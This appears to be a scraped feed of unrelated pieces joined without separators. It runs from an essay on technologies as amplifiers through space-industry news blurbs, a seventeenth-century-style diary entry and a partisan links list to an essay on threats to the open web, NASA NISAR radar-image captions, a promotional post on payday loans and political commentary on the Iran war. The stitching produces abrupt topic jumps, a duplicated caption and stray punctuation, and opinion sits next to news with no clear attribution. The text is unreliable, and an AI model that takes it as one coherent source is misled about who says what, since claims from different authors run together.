But a broader, somewhat more abstract reason is that many important technologies often act as amplifiers in one way or another. One of the most important inventions in biology, for instance, is the polymerase chain reaction, or PCR. PCR is essentially a DNA amplifier: it makes millions of copies of DNA sequences, making it far easier to study them and enabling things like the dramatic reduction in the price of genetic sequencing. The inventor of PCR, Kary Mullis, shared the 1993 Nobel Prize in Chemistry for his invention.

Examples of important amplifiers abound, because amplifiers themselves help produce abundance. Chemical catalysts, which can be thought of as amplifiers of chemical reactions, are used in everything from catalytic converters in cars to petroleum manufacturing. Simple machines like the lever or pulley amplify force, microscopes and telescopes amplify visual details. Industrial fermentation, nuclear reactors, the printing press, the Xerox machine, fractional reserve banking — all can be thought of as a type of amplifier.

So these four amplifiers were important in part because amplifiers in general are important. Amplifiers take something useful — an electromagnetic signal, a segment of DNA, a copy of a book — and make it possible to get a lot more of it, and technologies that do that are often particularly useful themselves.

On this episode of the Space Minds podcast, host David Ariosto speaks with Mark Bigham, the Vice President of Defense Programs at Longshot Space Technologies Corporation, a new hardware startup […]

The post Building a hypersonic pathway to orbit with Mark Bigham appeared first on SpaceNews.

The Earth observation sector is experiencing a golden age. Satellite hardware and launch costs have plummeted, and computer power, driven by AI and analytics, continues to improve. That’s led to a genuine revolution in precision agriculture and automated supply chain monitoring.  For agribusinesses, investors and regulators, it’s an appealing mix: using satellite technology to track […]

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NASA’s proposed changes to its support of commercial space stations have created concern and confusion among companies developing them, the head of an industry organization warned.

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SAN FRANCISCO – Canadian startup SBQuantum plans to send a quantum diamond magnetometer into low-Earth orbit March 30 on a Spire Global satellite flying on a SpaceX Falcon 9 rideshare. Spire is providing the satellite, ground stations and data processing for SBQuantum’s magnetometer, which is roughly the size of a quart of milk. SBQuantum and […]

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Japanese company ispace is revising its lunar lander design and further delaying the first mission by its American subsidiary while also unveiling plans for a lunar satellite constellation.

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The four Artemis 2 astronauts arrived in Florida March 27 for final preparations ahead of a launch still scheduled as soon as April 1.

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March 27, 2026 – Washington, D.C.—The Commercial Space Federation (CSF) is pleased to welcome Astrolab and Zeno Power, two innovative companies advancing planetary mobility and reliable energy in extreme environments. […]

The post Commercial Space Federation (CSF) Welcomes Two New Associate Members appeared first on SpaceNews.

MUNICH — For more than a year, questions have swirled about Artemis changes and the Gateway’s role in U.S. lunar ambitions. Following NASA’s March 24 decision to halt work on Gateway, the lunar-orbiting station that had been intended to support astronauts before and after lunar surface missions, Europe now faces the challenge of redefining its […]

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India-based Bellatrix Aerospace announced March 27 it has raised $20 million to ramp up production of its satellite propulsion systems after securing its first large commercial customer outside the country.

The post India’s Bellatrix raises $20 million following overseas expansion drive appeared first on SpaceNews.

Up betimes and at my office all the morning, at noon to the Exchange, and there by appointment met my uncles Thomas and Wight, and from thence with them to a tavern, and there paid my uncle Wight three pieces of gold for himself, my aunt, and their son that is dead, left by my uncle Robert, and read over our agreement with my uncle Thomas and the state of our debts and legacies, and so good friendship I think is made up between us all, only we have the worst of it in having so much money to pay. Thence I to the Exchequer again, and thence with Creed into Fleet Street, and calling at several places about business; in passing, at the Hercules pillars he and I dined though late, and thence with one that we found there, a friend of Captain Ferrers I used to meet at the playhouse, they would have gone to some gameing house, but I would not but parted, and staying a little in Paul’s Churchyard, at the foreign Bookseller’s looking over some Spanish books, and with much ado keeping myself from laying out money there, as also with them, being willing enough to have gone to some idle house with them, I got home, and after a while at my office, to supper, and to bed.

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Links for you. Science:

Denmark’s Floating Islands: Turning Urban Harbors into Havens for Bees and Birds
Why so salty? The not-so-invisible impacts of winter salt
The Man Who Stole Infinity
A bacterial ecocline in Klebsiella pneumoniae may explain its backboned phylogeny
Hawaii’s battle with rat lungworm disease shows California what may be coming
The Other Lab Leak Hypothesis: Is Lyme Disease Caused by an Escaped Bioweapon?

Other:

US needs a crisis-tested surgeon general, not an influencer. Having a large following, publishing a best-selling wellness book or launching a health start-up cannot replace clinical training, board certification and public health command experience.
Ultrawealthy Consider $500 Million Fund to Influence California Politics
Pete Hegseth’s manly act is backfiring
US Jewish leaders express alarm over new political conditions for synagogue security grants
Federal Judges Are Slowly Realizing They Can Treat Trump Like Anyone Else
Balcony solar is taking state legislatures by storm
War With Iran? A Blood Moon on Purim? For Some Christian Influencers, That Can Mean Only One Thing: The End Times
A new lawsuit claims D.C. is withholding money meant to help laid-off Circulator bus drivers
The Harlem Tiger: The Astonishing True Story of Ming, a 425-Pound Pet Living in an Apartment
Here’s the Memo Approving Gemini, ChatGPT, and Copilot for Use in the Senate
D.C.’s lax utility oversight is costing customers
‘Sly stowaway’ UK fox finds new home at Bronx Zoo after illicit transatlantic trip
Wilson Building Bulletin: The politics of congestion
In unusual step, D.C. Council sues Mayor Bowser over budget documents
Why ATMs didn’t kill bank teller jobs, but the iPhone did (it’s really not the iPhone, but the laptop computer with good internet connection)
It took U.S. years to lose a war in Vietnam. Trump lost one in days.
War With Iran Puts Further Strain on America’s Pessimistic Farmers
Leftover ramen, too few Qurans: A ‘humiliating’ Ramadan inside ICE detention centers
Dark money group offers influencers $1,500 for posts attacking Chicago Democratic primary candidate. Progressive House candidate Kat Abughazaleh told MS NOW the secretive campaign is “filled with false and defamatory claims.”
The Alarming Twitter Timeline of Trump Nominee Kara Westercamp
Trump Tells Kentucky Crowd ‘I Have Much Better Blood’ Because His Uncle Was an MIT Professor
Drone sightings drove surveillance fears as ICE surged in Minnesota
The Great American Condo Crisis: If the U.S. wants to remain a nation of homeowners, it has no choice but to start building condos again.
Suburban school district uses license plate readers to verify student residency. An NBC 5 Responds and Telemundo Chicago Responde investigation found a school district is paying tens of thousands of dollars for the technology, that one mom says, is erroneously keeping her child out of public school.
When Pete Hegseth Says “Lethality” He’s Talking About Killing Iranian School Girls
Montana sent a Senator to Washington, not a bouncer
In rural America, a teacher pipeline from abroad starts to dry up
Why hundreds of people in L.A. are strapping cameras on their bodies to do chores
Does The New York Times Want to Eradicate Trans People? An analysis of its coverage reveals a pattern of misrepresentations, deceptions, distortions, the exclusion of trans voices, and the endorsement of contempt.
The U.S. Mint dropped the olive branch from the dime. What does that mean for the country?

Again, I do not like either candidate, Mills or Platner, and I find it galling that Maine, with twice the population of D.C. and far more elected officials, which serves as a farm league system, cannot find a couple of good anti-filibuster Democratic candidates who are able to get on the ballot.

While Mills sucks because she is committed to keeping the senate filibuster, Platner’s Totenkopf tattoo opens him up to general election coverage like this:

There will be weeks of coverage like this, and it is tailor-made for the Right Wing Wurlitzer, which will then push it out into the mainstream. Democrats really do not want to be in the position of having to argue that he recently got rid of his Nazi tattoo. That is just asking for the Streisand Effect. Sure, nearly every Republican operative under forty is either a white Christian supremacist, a groyper, or extremely adjacent to one of those, but that will not matter: Republicans will still make these arguments.

This also is catnip for lazy and incompetent political reporters who will jump at the chance to ask other Democratic candidates, including those not in Maine, about the tattoo. It allows reporters to appear balanced, and it also breaks up the tedium (do not underestimate the roles boredom and the need for novel copy play in campaign coverage).

I hope I am wrong about this, but there are some real potential problems here.

In short, the Maine Democratic Party should be better than this, and D.C. still needs statehood.

You must imagine Sam Altman holding a knife to Tim Berners-Lee's throat.

It's not a pleasant image. Sir Tim is, rightly, revered as the genial father of the World Wide Web. But, all the signs are pointing to the fact that we might be in endgame for "open" as we've known it on the Internet over the last few decades.

The open web is something extraordinary: anybody can use whatever tools they have, to create content following publicly documented specifications, published using completely free and open platforms, and then share that work with anyone, anywhere in the world, without asking for permission from anyone. Think about how radical that is.

Now, from content to code, communities to culture, we can see example after example of that open web under attack. Every single aspect of the radical architecture I just described is threatened, by those who have profited most from that exact system.

Today, the good people who act as thoughtful stewards of the web infrastructure are still showing the same generosity of spirit that has created opportunity for billions of people and connected society in ways too vast to count while —not incidentally— also creating trillions of dollars of value and countless jobs around the world. But the increasingly-extremist tycoons of Big Tech have decided that that's not good enough.

Now, the hectobillionaires have begun their final assault on the last, best parts of what's still open, and likely won't rest until they've either brought all of the independent and noncommercial parts of the Internet under their control, or destroyed them. Whether or not they succeed is going to be decided by decisions that we all make as a community in the coming months. Even though there have always been threats to openness on the web, the stakes have never been higher than they are this time.

Right now, too many of the players in the open ecosystem are still carrying on with business as usual, even though those tactics have been failing to stop big tech for years. I don't say this lightly: it looks to me like 2026 is the year that decides whether the open web as we know it will survive at all, and we have to fight like the threat is existential. Because it is.

What does the attack look like?

Calling this threat "existential" is a strong statement, so we should back that up with evidence. The point I want to make here is that this is a lot broader than just one or two isolated examples of trying to win in one market. What we are seeing is the application of the same market-crushing techniques that were used to displace entire industries with the rise of social media and the gig economy, now being deployed across the very open internet infrastructure that made the modern internet possible.

The big tech financiers and venture capitalists who are enabling these attacks are intimately familiar with these platforms, so they know the power and influence that they have — and are deeply experienced at dismantling any systems that have cultural or political power that they can't control. And since they have virtually infinite resources, they're able to carry out these campaigns simultaneously on as many fronts as they need to. The result is an overwhelming wave of threats. It's not a coordinated conspiracy, because it doesn't need to be; they just all have the same end goals in mind.

Some examples:

• Publishers who still share their content openly, either completely free for their audience, as advertising-supported content, or with a limited amount of content available until they ask for some form of payment, are being absolutely hammered by ill-behaved AI bots. These bots are scouring their sites for every available bit of content, scraping all of it up to feed their LLMs, and then making summaries of that content available to users — typically without consent or compensation. The deal was always simple: search engines had permission to crawl sites because they were going to be sending users to those sites. If they're hitting your site half a million times for every one user they send to your site, all they're giving you is higher costs.
• LLM-based AI platforms that have trained their AI models on this content gathered without consent typically have almost no links back to the original source content, and either bury or omit credits to the original site; as a result, publishers in categories like tech media have seen their traffic crater by over 50%, with some publishers seeing drops of over 90%.
• As publishers see the danger from AI bots expand, they retreat to putting more and more content behind either password protection or payment walls or both, leaving the only publicly-accessible content to be AI-generated slop; open resources like research work, scientific analysis, and fair use of content all suffer as a result of people responding to the bad actors, since legitimate uses of open content are no longer possible. We're seeing this already as publishers block archival sites like the Internet Archive, even though we've already seen examples where the Internet Archive was the only accurate record of content that was disappeared by authoritarians in the current administration.
• Open APIs, a building block of how developers build new experiences for users, and for how researchers understand people's behavior online, are rapidly being locked down due to abuse from LLMs, as well as the extremist CEOs not wanting anyone to understand what's happening on their platforms. The clamping down doesn't just affect coders — the people who were best poised to help monitor and translate what's been happening on platforms like Twitter have seen their work under siege, with over 60% of research projects on the platform stalled or abandoned just since Musk shut down their open API access.
• Independent media based on open formats, like podcasts, are also under siege as platforms like Apple's podcasts move to closed infrastructure which means that content creators are now required to work with Apple's approved partners. Meanwhile, others like Spotify and Netflix leverage their dominant positions in the market to coerce creators to abandon open podcasts entirely, in favor of proprietary formats that require listeners to be on those platforms — locking in both creators and their audiences so they are stuck as they begin the enshittification process. The net result will be podcasts moving from being an open format that isn't controlled by either any one company or any manipulative algorithms, to just another closed social platform monetized by surveillance-based advertising.
• Open source software projects, which power the vast majority of the internet's infrastructure, are now beleaguered by constant slop code submissions being made by automated AI code agents. These submissions attempt to look like legitimate open source code contributions, and end up overwhelming the largely-underpaid, mostly-volunteer maintainers of open source projects. Dozens of the most popular open source projects have either greatly limited, or even entirely closed their projects to community-based submissions from new contributors as a result. In addition to slowing down and disrupting the open source ecosystem's collaboration model, there's also collateral damage with the destruction of one of the best paths for new coders to establish their credentials, build relationships, and learn to be part of the coding community.
• The most vital open content platforms, like Wikipedia, are under direct attack from bad-faith campaigns. Elon Musk has created Grokipedia to directly undermine Wikipedia with extremist hate content and conspiracist nonsense, by siphoning off traffic, revenues, and contributors from the site. All of this happens while launching spurious attacks on the credibility of the content on Wikipedia, which have led to such radical rhetoric around the site that gatherings of Wikipedia editors now face interruptions from armed attackers. Meanwhile, Wikipedia's human traffic has dropped significantly as AI platforms trained on its content answer users' questions without ever sending them to the site — a pattern that threatens the volunteer contributions and donations that keep it alive.
• The open standards and specifications that underpin the Internet as we know it have always succeeded solely on the basis of there being a shared set of norms and values that make them work. In this way, they're like laws — only as strong as the society that agrees they ought to be enforced. A simple text file called robots.txt functioned for decades to describe the way that tools like search engines ought to behave when accessing content on websites, but now it is effectively dead as Big AI companies unilaterally decided to ignore more than a generation of precedent, and do whatever they want with the entirety of the web, completely without consent. Similarly, long-running efforts like Creative Commons and other community-driven attempts at creating shared declarations or definitions for content use are increasingly just ignored.
• Open source software licenses, which used to be a bedrock of the software community because they provide a consistent way of encoding a set of principles in the form of a legal contract, are now treated as a minor obstacle which can be trivially overcome using LLMs. This means that it's possible to clone code and turn community-driven projects into commercial products without even having to credit the people who invented the original work, let alone compensating them or asking for consent. Many of these efforts are especially egregious because the reason the tools are able to perform this task is because they were trained on this open source code in the first place.

The human cost

The threat to the open web is far more profound than just some platforms that are under siege. The most egregious harm is the way that the generosity and grace of the people who keep the web open is being abused and exploited. Those people who maintain open source software? They're hardly getting rich — that's thankless, costly work, which they often choose instead of cashing in at some startup. Similarly, volunteering for Wikipedia is hardly profitable. Defining super-technical open standards takes time and patience, sometimes over a period of years, and there's no fortune or fame in it.

Creators who fight hard to stay independent are often choosing to make less money, to go without winning awards or the other trappings of big media, just in order to maintain control and authority over their content, and because they think it's the right way to connect with an audience. Publishers who've survived through year after year of attacks from tech platforms get rewarded by… getting to do it again the next year. Tim Berners-Lee is no billionaire, but none of those guys with the hundreds of billions of dollars would have all of their riches without him. And the thanks he gets from them is that they're trying to kill the beautiful gift that he gave to the world, and replace it with a tedious, extortive slop mall.

So, we're in endgame now. They see their chance to run the playbook again, and do to Wikipedians what Uber did to cab drivers, to get users addicted to closed apps like they are to social media, to force podcasters to chase an algorithm like kids on TikTok. If everyone across the open internet can gather together, and see that we're all in one fight together, and push back with the same ferocity with which we're being attacked, then we do have a shot at stopping them.

At one time, it was considered impossibly unlikely that anybody would ever create open technologies that would ever succeed in being useful for people, let alone that they would become a daily part of enabling billions of people to connect and communicate and make their lives better. So I don't think it's any more unlikely that the same communities can summon that kind of spirit again, and beat back the wealthiest people in the world, to ensure that the next generation gets to have these same amazing resources to rely on for decades to come.

Taking action

Alright, if it’s not hopeless, what are the concrete things we can do? The first thing is to directly support organizations in the fight. Either those that are at risk, or those that are protecting those at risk. You can give directly to support the Internet Archive, or volunteer to help them out. Wikipedia welcomes your donation or your community participation. The Electronic Frontier Foundation is fighting for better policy and to defend your rights on virtually all of these issues, and could use your support or provides a list of ways to volunteer or take action. The Mozilla Foundation can also use your donations and is driving change. (And full disclosure — I’m involved in pretty much all of these organizations in some capacity, ranging from volunteer to advisor to board member. That’s because I’m trying to make sure my deeds match my words!) These are the people whom I've seen, with my own eyes, stay the hand of those who would hold the knife to the necks of the open web's defenders.

Beyond just what these organizations do, though, we can remember how much the open web matters. I know from my time on the board of Stack Overflow that we got to see the rise of an incredibly generous community built around sharing information openly, under open licenses. There are very few platforms in history that helped more people have more economic mobility than the number of people who got good-paying jobs as coders as a result of the information on that site. And then we got to see the toll that extractive LLMs had when they took advantage of that community without any consideration for the impact it would have when they trained models on the generosity of that site's members without reciprocating in kind.

The good of the web only exists because of the openness of the web. They can't just keep on taking and taking without expecting people to finally draw a line and saying "enough". And interestingly, opportunities might exist where the tycoons least expect it. I saw Mike Masnick's recent piece where he argued that one of the things that might enable a resurgence of the open web might be... AI. It would seem counterintuitive to anyone who's read everything I've shared here to imagine that anything good could come of these same technologies that have caused so much harm.

But ultimately what matters is power. It is precisely because technologies like LLMs have powers that the authoritarians have rushed to try to take them over and wield them as effectively as they can. I don't think that platforms owned and operated by those bad actors can be the tools that disrupt their agenda. I do think it might be possible that the creative communities that built the web in the first place could use their same innovative spirit to build what could be, for lack of a better term, called "good AI". It’s going to take better policy, which may be impossible in the short term at the federal level in the U.S., but can certainly happen at more local levels and in the rest of the world. Though I’m skeptical about putting too much of the burden on individual users, we can certainly change culture and educate people so that more people feel empowered and motivated to choose alternatives to the big tech and big AI platforms that got us into this situation. And we can encourage harm reduction approaches for the people and institutions that are already locked into using these tools, because as we’ve seen, even small individual actions can get institutions to change course.

Ultimately I think, if given the choice, people will pick home-cooked, locally-grown, heart-felt digital meals over factory-farmed fast food technology every time.

Most elements of a major NASA event this week that laid out spaceflight plans for the coming decade were well received: a Moon base, a focus on less talk and more action, and working with industry to streamline regulations so increased innovation can propel the United States further into space.

However, one aspect of this event, named Ignition, has begun to run into serious turbulence. It involves NASA's attempt to navigate a difficult issue with no clear solution: finding a commercial replacement for the aging International Space Station.

During the Ignition event on Tuesday, NASA leaders had blunt words for the future of commercial activity in low-Earth orbit. Essentially, they are not confident in the viability of a commercial marketplace for humans there, and the agency's plan to work with private companies to develop independent space stations does not appear to be headed toward success. Plenty of people in the industry share these concerns, but NASA officials have not expressed them out loud before.

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Welcome to Edition 8.35 of the Rocket Report! The headlines this week are again dominated by the big changes afoot in NASA's exploration program, with the announcement of a Moon base and a nuclear-powered rocket to Mars. The shakeups come as the agency is just a week away from launching Artemis II, a circumlunar flight carrying a crew of four around the Moon. The Ars space team will be writing extensively about this mission in the days ahead, and we may skip the Rocket Report next week to focus on our Artemis II coverage.

As always, we welcome reader submissions. If you don't want to miss an issue, please subscribe using the box below (the form will not appear on AMP-enabled versions of the site). Each report will include information on small-, medium-, and heavy-lift rockets, as well as a quick look ahead at the next three launches on the calendar.

NASA announces nuclear rocket demo. NASA's announcement Tuesday that it will "pause" work on a lunar space station and focus on building a surface base on the Moon was no big surprise to anyone paying attention to the Trump administration’s space policy. But what should NASA do with hardware already built for the Gateway outpost? NASA spent close to $4.5 billion on developing a human-tended complex in orbit around the Moon since the Gateway program’s official start in 2019. There are pieces of the station undergoing construction and testing in factories scattered around the world. The centerpiece of Gateway, called the Power and Propulsion Element, is closest to being ready for launch. NASA’s rejigged exploration roadmap, revealed Tuesday in an all-day event at NASA headquarters in Washington, calls for repurposing the core module for a nuclear-electric propulsion demonstration in deep space, Ars reports.

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Donald Trump’s threat last night to sign an executive order to pay TSA workers was, perhaps, a signal of where things were headed. “If the White House believes they have the authority to pay these workers, then every day for the past 41 days, they have been making a conscious decision not to pay them,” House Appropriations ranking member Rosa DeLauro (D-CT) said last night, which was about right.

Overnight, as Emine Yücel reports, the Senate followed suit, approving a Democratic bill to fund all of DHS except ICE and CBP. Notably, that means funding the TSA, giving away Republicans’ only point of leverage, airport chaos (a dubious point of leverage, to be sure).

The Democratic Party, seemingly having learned lessons from standoffs past, held firm on its commitment to withhold its votes until CBP and ICE accept reforms. Both agencies remain unfunded, though they each have significant slush funds from which they can continue to draw.

Senate Republicans are trying to spin this vote as Democrats losing their ability to make demands: Republicans will, they say, now fund ICE and CBP through budget reconciliation. But how fast — and even if — that reconciliation bill will come together is an open question.

A fascinating illustration in this Times article and the included chart of what has happened over the last four weeks. In essence, oil has shot up; equities markets have declined. That trend has been interrupted a handful of times when President Trump has created what are essentially fake news moments. Those temporarily capture markets’ attention before reality set back in. It’s a powerful illustration of the both the power and the limits of what I yesterday referred to as Trump’s “drama-of-the-day spell.”

Description

This image captured by U.S.-Indian Earth satellite NISAR on Nov. 10, 2025, shows Washington’s Mount Rainier. The image is cropped from a much larger swath spanning the Pacific Northwest on a cloudy day; NISAR’s L-band SAR instrument is able to peer through the clouds at the surface below.

In Pacific Northwest imagery from the NASA-ISRO Synthetic Aperture Radar mission, some areas are dotted in magenta due to radar signals strongly reflecting off flat surfaces like roads and buildings, combined with the orientation of those surfaces relative to the satellite’s ground track. The yellow can be produced by a range of different factors, including land cover, moisture, and surface geometry. Yellow-green in the imagery generally indicates vegetation, such as the forests and wetlands covering the region.

Relatively smooth surfaces, including water and — as is most likely the case in this image — vegetation-free clearings on the mountaintop, appear dark blue. Near the foot of the mountain are patches of purple squares cut into the lighter green vegetation. Their precise right angles show that they’re clearly man-made; they’re likely the effect of forests being thinned or possibly vegetation growing back after having been thinned in the past.

A joint mission developed by NASA and the Indian Space Research Organisation (ISRO), NISAR launched in July 2025 from Satish Dhawan Space Centre on India’s southeastern coast. Managed by Caltech, JPL leads the U.S. component of the project and provided the satellite’s L-band SAR and antenna reflector. ISRO provided NISAR’s spacecraft bus and its S-band SAR..)

The NISAR satellite is the first to carry two SAR instruments at different wavelengths and will monitor Earth’s land and ice surfaces twice every 12 days, collecting data using the spacecraft’s giant drum-shaped reflector, which measures 39 feet (12 meters) wide — the largest radar antenna reflector NASA has ever sent into space. 

To learn more about NISAR, visit:

https://science.nasa.gov/mission/nisar/

The post NISAR’s View of Mount Rainier appeared first on NASA Science.

Description

This image captured by U.S.-Indian Earth satellite NISAR on Nov. 10, 2025, shows Washington’s Mount St. Helens. The image is cropped from a much larger swath spanning the Pacific Northwest on a cloudy day; NISAR’s L-band SAR instrument is able to peer through the clouds at the surface below.

In Pacific Northwest imagery from the NASA-ISRO Synthetic Aperture Radar mission, some areas are dotted in magenta due to radar signals strongly reflecting off flat surfaces like roads and buildings, combined with the orientation of those surfaces relative to the satellite’s ground track. The yellow can be produced by a range of different factors, including land cover, moisture, and surface geometry. Yellow-green in the imagery generally indicates vegetation, such as the forests and wetlands covering the region.

Relatively smooth surfaces, including water and — as is most likely the case in this image — vegetation-free clearings on the mountaintop, appear dark blue. Near the foot of the mountain are patches of purple squares cut into the lighter green vegetation. Their precise right angles show that they’re clearly man-made; they’re likely the effect of forests being thinned or possibly vegetation growing back after having been thinned in the past.

A joint mission developed by NASA and the Indian Space Research Organisation (ISRO), NISAR launched in July 2025 from Satish Dhawan Space Centre on India’s southeastern coast. Managed by Caltech, JPL leads the U.S. component of the project and provided the satellite’s L-band SAR and antenna reflector. ISRO provided NISAR’s spacecraft bus and its S-band SAR.

The NISAR satellite is the first to carry two SAR instruments at different wavelengths and will monitor Earth’s land and ice surfaces twice every 12 days, collecting data using the spacecraft’s giant drum-shaped reflector, which measures 39 feet (12 meters) wide — the largest radar antenna reflector NASA has ever sent into space.  To learn more about NISAR, visit:

To learn more about NISAR, visit:

https://science.nasa.gov/mission/nisar/

The post NISAR Views Mount St. Helens appeared first on NASA Science.

We Keep Provoking Them To Need Them

In the later ’80s through to the early 2000s Iran was becoming a more moderate country. Then we brought war to the region and they pretty quickly went back to being more radical. Their interest in nuclear weapons tracks to some extent with this same sequence.

This is a simplified description of the chain of events but it’s also one true thread among many factors that have affected their radicalness and their efforts to have nuclear weapons.

Of course, to back up to their earlier radical phase, we have to look at ourselves there too. The familiar story is of our backing of the Shah, Shah Pahlavi, after WWII and our participation in overthrowing of the Iranian Prime Minister in the ’50s, because he wasn’t as cooperative with us and our interest in Iranian oil as the Shah was. The Shah remained oppressive and disliked which eventually led to a rebellion in the ’70s. That rebellion having been led by Ayatollah Khomeini and extremists, that became the new government. All our efforts to have a supportive leader in place blew up in our face.

But in the years that followed, starting about a decade after the rebellion, relatively moderate presidents and leaders were elected. The country was becoming more a part of the global economy. That mutual dependence, the world needing them and they needing the world because of the interdependent economic interests, was a moderating force. Culture began to soften too. Women could wear and do many things not permitted in more radical times.

Then George W. Bush and his administration decided to attack Iraq, despite there being no justification that had anything to do with the 9/11 attacks. They threatened Iran as well though they didn’t end up invading then.

The U.S. had just attacked and waged war on Iraq, Iran’s neighbor, and the U.S. was threatening the same on Iran. Iran could almost guarantee it would not be attacked in that way if it had nuclear weapons. If it had them then it’s ability to do horrible destruction in retaliation would make attacking them impossible. If you were them, wouldn’t you try to get nuclear weapons too?

How many other countries are going to react to Trump’s attacks on countries, and threats against others, by deciding they need nukes too?

At the same time that we threatened Iraq and Iran we also threatened North Korea. They already wanted to have nuclear weapons but their efforts greatly increased and now they have them.

The dynamics of war and threats and various ways of damaging neighbors that Iran has carried out, actually the dynamics of wars and strife across the whole Middle East, have thousands of factors and massive amounts of foolishness, hell, outright idiocy, on all sides. Our part is just one factor, but it’s a big one, and it’s repetitive and wrong headed and invariably both backfires and damages us.

If you are Poland and Hitler is invading, or Ukraine and Putin is invading, yes, you have to fight. There are few other times when war is the right step. When it doesn’t end up costing more in the long run than any gain. When the damage to ourselves, not to mention to whomever the current target is, not to mention to all the ordinary people just trying to live their lives, few other times that it doesn’t have long and horrible repercussions.

But this one is particularly ignorant. It is a lesson and a place we have inflicted harm on ourselves over and over again. While it’s possible Iran’s indirect warring on its neighbors and being a danger might have risen to the need for an attack to try to stop it, we weren’t at that point. Trump’s kicking of the entire hornet’s nest of the Middle East and of the mess and repercussions that wars create has set back chances for even a partial peace in the region by many years. There will be all sorts of unpredictable consequences and costs we and the world will have to live with for a long time to come.

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The post This Is Why Iran Wanted Nukes appeared first on DCReport.org.

Most people know just how much the internet has changed our world. We use it for everything from shopping to accessing medical care. Yet it has also been responsible for securing many people’s livelihoods by making it easier than ever to earn income. Learn how below:

Quick Access to Short-Term Funds

There may come a time when you realize that an unexpected cost has left you short at the end of the working week. While you undoubtedly have friends and family you can rely on to bridge the financial gap, you don’t necessarily have to turn to them.

Not only can you use the internet to find out what to know about payday loans and welfare, but you can also use it to access payday loans, as well. Many trusted loan companies provide a seamless, fast, and easy online application process in which you can receive the short-term funds you need the same day you apply for them. In the past, it may have taken days to secure a loan, and you would have needed to visit a physical business.

Low Startup Business Costs

Just decades ago, no one could have dreamed of having a side hustle or opening their own business if they didn’t have access to tens of thousands of dollars. You needed a significant upfront investment for a physical store, inventory, and marketing. Now, all you need is a laptop, a bit of business knowledge, and a dream.

The internet has meant you don’t need a physical store to run a business, and you don’t even need to keep stock on hand. You can create a website, sell digital products, or even provide dropshipping. This means that you sell products from a third-party supplier without ever having to hold the inventory yourself.

Freelancing

When you’re a parent or have other daily obligations, finding a job in a physical location that matches your skillset and offers flexible working hours can feel nearly impossible. Very few employers want to work around school drop-off and pick-up times while allowing time off for running errands and attending school events.

However, the internet has enabled many people to stop looking for those rare jobs that just don’t seem to exist. Instead, they can leverage their online skills to provide freelance services to multiple businesses. There is high demand for a range of roles, including graphic design, digital marketing, content writing, and software development.

Multiple Income Streams

There’s no denying that the nine-to-five working life is still the norm in our modern world. Most of the workforce consists of office, service, professional, and trade workers. However, those who have learned they can make money online have also found they can enjoy multiple income streams.

Rather than relying on a single employer to provide your paycheck, you can explore multiple money-making avenues. For example, some people freelance, invest, produce content, and dabble in e-commerce. You can even build passive income sources such as digital products and affiliate marketing. Diversifying income sources can help increase stability. 

There will always be ways to make money in our physical world, but how we build wealth and access funds in the online space is growing exponentially. If you want to bolster your bottom line, now might be the right time to explore some of these income and funding strategies above.

Photo: Kenny Eliason via Unsplash

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The post How the Internet Has Transformed Income Access appeared first on DCReport.org.

In an interview with Reuters on Monday, Singapore’s minister for foreign affairs, Dr. Vivian Balakrishnan, put in bald language the change in the world order instigated by President Donald J. Trump.

“For 80 years,” Balakrishnan explained, “the US was the underwriter for a system of globalisation based on UN Charter principles, multilateralism, territorial integrity, sovereign equality.” That system “heralded an unprecedented and unique period of global prosperity and peace. Of course there were exceptions. And of course, the Cold War was still in effect for at least half of the last 80 years. But generally, for those of us who were non-communists, who ran open economies, who provided first world infrastructure, together with a hardworking disciplined people, we had unprecedented opportunities.

“The story of Singapore, with a per capita GDP of 500 US dollars in 1965. Now, [it is] somewhere between 80,000 to 90,000 US dollars. It would not have happened if it had not been for this unprecedented period, basically Pax Americana and then turbocharged by the reform and opening of China for decades. It has been unprecedented. It has been great for many of us. In fact, I will say, for all of us, if you look back 80 years.

“But now, whether you like it or not, objectively, this period has ended…. Basically, the underwriter of this world order has now become a revisionist power, and some people would even say a disruptor. But the larger point is that the erosion of norms, processes, and institutions that underpinned a remarkable period of peace and prosperity; that foundation has gone.”

In its place, as scholar of authoritarianism Timothy Snyder said to me in a YouTube conversation yesterday, Trump is aligning himself with international oligarchs like Russia’s Vladimir Putin, Hungary’s Viktor Orbán, Saudi Arabia’s Mohammad bin Salman (MBS), and China’s Xi Jinping. Because of his position as the president of the United States of America, this means he is aligning the United States of America with this oligarchical axis as well, abandoning the country’s democratic principles and traditional allies.

On February 28, Michael Birnbaum, John Hudson, Karen DeYoung, Natalie Allison, and Souad Mekhennet of the Washington Post reported that Trump initially launched the strikes on Iran at the urging of MBS and Israel’s prime minister Benjamin Netanyahu, despite the assessment of U.S. intelligence that Iran did not pose an imminent threat to the U.S. and would not for at least a decade. Both countries see Iran as a threat to their power and want it weakened. Netanyahu has been eager to get rid of the Iranian regime for decades and has urged previous U.S. presidents to attack without success.

On Tuesday, March 24, Julian E. Barnes, Tyler Pager, and Eric Schmitt of the New York Times reported that MBS sees a “historic opportunity” to remake the Middle East and so has been pushing Trump to continue his war against Iran. MBS, the journalists report, has urged Trump to use troops to seize Iran’s energy infrastructure and drive the regime out of power. He has assured Trump that the jump in oil prices will be temporary, although most observers disagree.

Judd Legum of Popular Information notes that the Saudi Public Investment Fund (PIF) controlled by MBS invested $2 billion in the private equity firm of Trump’s son-in-law Jared Kushner, one of Trump’s volunteer Iran negotiators, before the war. A report by Democrats on the Senate Finance Committee and House Oversight Committee released on March 19 says that “since 2021, Mr. Kushner has collected more than $110 million from the government of Saudi Arabia for investment management services that have reaped little to no return.”

The fallout from the Iran war has also benefited Russia’s Vladimir Putin. Despite reports that Russia is aiding Iran in the fight, the Trump administration dropped sanctions on Russian oil that was already at sea, giving Russia an injection of up to $10 billion a month into its cash-strapped war effort against Ukraine.

Today Trump reposted Russian propaganda claiming that Ukraine discussed funneling money to Biden’s reelection campaign. Also today, four Russian lawmakers arrived in Washington, D.C., for the first such visit since Russia invaded Ukraine in 2022 to talk with lawmakers and officials, “part of the normalization of relations with the United States of America,” as one of the Russians told the Russian press.

Trump declared he was determined to achieve peace between Russia and Ukraine, but this week, according to Ukraine president Volodymyr Zelensky, administration officials said the U.S. would not guarantee Ukraine’s security unless Ukraine withdraws from its own land in Donbas. Ceding the region to Russia would essentially give Putin what he launched the war to grab. It is the same region that was at stake in 2016, when Russian operatives told Trump’s 2016 campaign manager they would help Trump’s presidential candidacy if he would look the other way as Putin installed a puppet over the region.

